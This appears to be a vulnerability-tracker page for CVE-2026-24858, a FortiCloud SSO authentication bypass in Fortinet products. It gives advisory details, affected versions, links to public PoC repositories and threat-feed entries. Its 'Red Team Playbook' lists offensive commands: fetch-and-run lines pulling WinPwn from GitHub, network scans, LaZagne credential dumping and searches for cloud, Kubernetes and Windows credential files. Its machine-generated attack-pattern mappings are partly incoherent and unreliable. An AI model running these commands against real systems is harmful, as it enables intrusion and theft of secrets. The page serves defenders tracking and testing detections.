CVE-2026-24858
Overview
This vulnerability is an authentication bypass caused by improper validation of FortiCloud SSO authentication tokens. The flaw resides in Fortinet FortiOS and associated products, where the authentication mechanism fails to correctly verify user-device bindings. This allows an attacker with a valid FortiCloud account and a registered device to exploit alternate authentication paths, bypassing standard credential checks within the FortiCloud SSO integration component.
Vulnerability Description
An Authentication Bypass Using an Alternate Path or Channel vulnerability [CWE-288] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.5, FortiAnalyzer 7.4.0 through 7.4.9, FortiAnalyzer 7.2.0 through 7.2.11, FortiAnalyzer 7.0.0 through 7.0.15, FortiManager 7.6.0 through 7.6.5, FortiManager 7.4.0 through 7.4.9, FortiManager 7.2.0 through 7.2.11, FortiManager 7.0.0 through 7.0.15, FortiNAC-F 7.6.3 through 7.6.5, FortiOS 7.6.0 through 7.6.5, FortiOS 7.4.0 through 7.4.10, FortiOS 7.2.0 through 7.2.12, FortiOS 7.0.0 through 7.0.18, FortiProxy 7.6.0 through 7.6.4, FortiProxy 7.4.0 through 7.4.12, FortiProxy 7.2.0 through 7.2.15, FortiProxy 7.0.0 through 7.0.22, FortiWeb 8.0.0 through 8.0.3, FortiWeb 7.6.0 through 7.6.6, FortiWeb 7.4.0 through 7.4.11 may allow an attacker with a FortiCloud account and a registered device to log into other devices registered to other accounts, if FortiCloud SSO authentication is enabled on those devices.
Impact
An attacker with a valid FortiCloud account and a registered device can authenticate to devices registered to other users without possessing their credentials. This enables unauthorized access to administrative interfaces across multiple Fortinet products, potentially exposing sensitive configuration data and allowing lateral movement within networks. No additional user interaction or elevated privileges beyond a registered FortiCloud account are required, increasing the ease of exploitation and the risk of compromise for organizations using FortiCloud SSO authentication.
Solution
Fortinet has released security updates addressing this vulnerability in FortiOS versions 7.0.19, 7.2.13, 7.4.11, and 7.6.6, as well as corresponding patches for FortiAnalyzer, FortiManager, FortiProxy, and FortiWeb. Administrators should apply these vendor-supplied patches promptly. Detailed remediation instructions and advisory information are available at Fortinet’s official PSIRT page: https://fortiguard.fortinet.com/psirt/FG-IR-26-060.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (19)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortianalyzer | All |
cpe:2.3:a:fortinet:fortianalyzer:*:*:*:*:*:*:*:*
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Fortinet | Fortianalyzer | All |
cpe:2.3:a:fortinet:fortianalyzer:*:*:*:*:*:*:*:*
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Fortinet | Fortianalyzer | All |
cpe:2.3:a:fortinet:fortianalyzer:*:*:*:*:*:*:*:*
|
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Fortinet | Fortianalyzer | All |
cpe:2.3:a:fortinet:fortianalyzer:*:*:*:*:*:*:*:*
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Fortinet | Fortimanager | All |
cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
|
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Fortinet | Fortimanager | All |
cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
|
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Fortinet | Fortimanager | All |
cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
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Fortinet | Fortimanager | All |
cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
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Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
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Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
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Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
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Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
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Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
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Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
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Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
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Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
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Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
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Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
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Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (5)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
absholi7ly/CVE-2026-24858-FortiCloud-SSO-Authentication-Bypass
CVE-2026-24858 FortiCloud Single Sign On (SSO) a factory default enabled feature once you register any FortiGate/FortiM...
|
absholi7ly | 9 | 5 | 2026-01-30 | View |
|
gagaltotal/cve-2026-24858
CVE-2026-24858 - Administrative FortiCloud SSO authentication bypass
|
gagaltotal | 1 | 2 | 2026-02-10 | View |
|
m0d0ri205/CVE-2026-24858
아직 제로데이인거 같아, 공개되거나 천천히 분석할 예정....
|
m0d0ri205 | 0 | 0 | 2026-01-28 | View |
|
SimoesCTT/SCTT-2026-33-0004-FortiCloud-SSO-Identity-Singularity
While Fortinet's January 27, 2026 mitigation for **CVE-2026-24858** focuses on blocking specific accounts like `cloud-no...
|
SimoesCTT | 0 | 0 | 2026-01-31 | View |
|
SimoesCTT/-CTT-NSP-Convergent-Time-Theory---Network-Stack-Projection-CVE-2026-24858-
A Proof-of-Concept demonstrating the application of 3D Navier-Stokes CTT formulations to packet flow optimization and d...
|
SimoesCTT | 0 | 0 | 2026-01-30 | View |
Threat Feed
27 eventsSighting activity recorded
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-24858 |
| fortiguard.fortinet.com |
GitHub CVE
|
https://fortiguard.fortinet.com/psirt/FG-IR-26-060 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-24858 |
| fortinet.com |
NVD API
Mitigation
Vendor Advisory
|
https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios |
| cert-portal.siemens.com |
NVD API
Third Party Advisory
|
https://cert-portal.siemens.com/productcert/html/ssa-975644.html |